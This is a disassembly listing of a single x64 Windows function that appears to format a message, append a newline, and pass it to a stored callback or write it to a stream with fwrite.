lea r9, [rsp + 0x180]
lea rcx, [rsp + 0x30]
call fcn.140030070
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001f651
mov rcx, qword [rdi + 0x678]
test rcx, rcx
je 0x14001f698
cmp byte [rdi + 0x1597], 0
jne 0x14001f698
lea rdx, [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14001f680
mov byte [rdi + 0x1597], 1
cmp byte [rdi + 0xf1e], 0
je 0x14001f6f8
mov byte [rsp + rbx + 0x30], 0xa
inc rbx
cmp rbx, 0x102
jae 0x14001f753
cmp qword [rdi + 0x718], 0
mov byte [rsp + rbx + 0x30], 0
je 0x14001f719
mov dl, 1
mov rcx, rdi
call fcn.14000ff10
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.14000ff10
mov rbx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.14000bb20
add rsp, 0x160
pop rdi
ret
mov r9, qword [rdi + 0x668]
lea rcx, [0x14005e198]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x14001f6f8
call fcn.14000c4c8
int3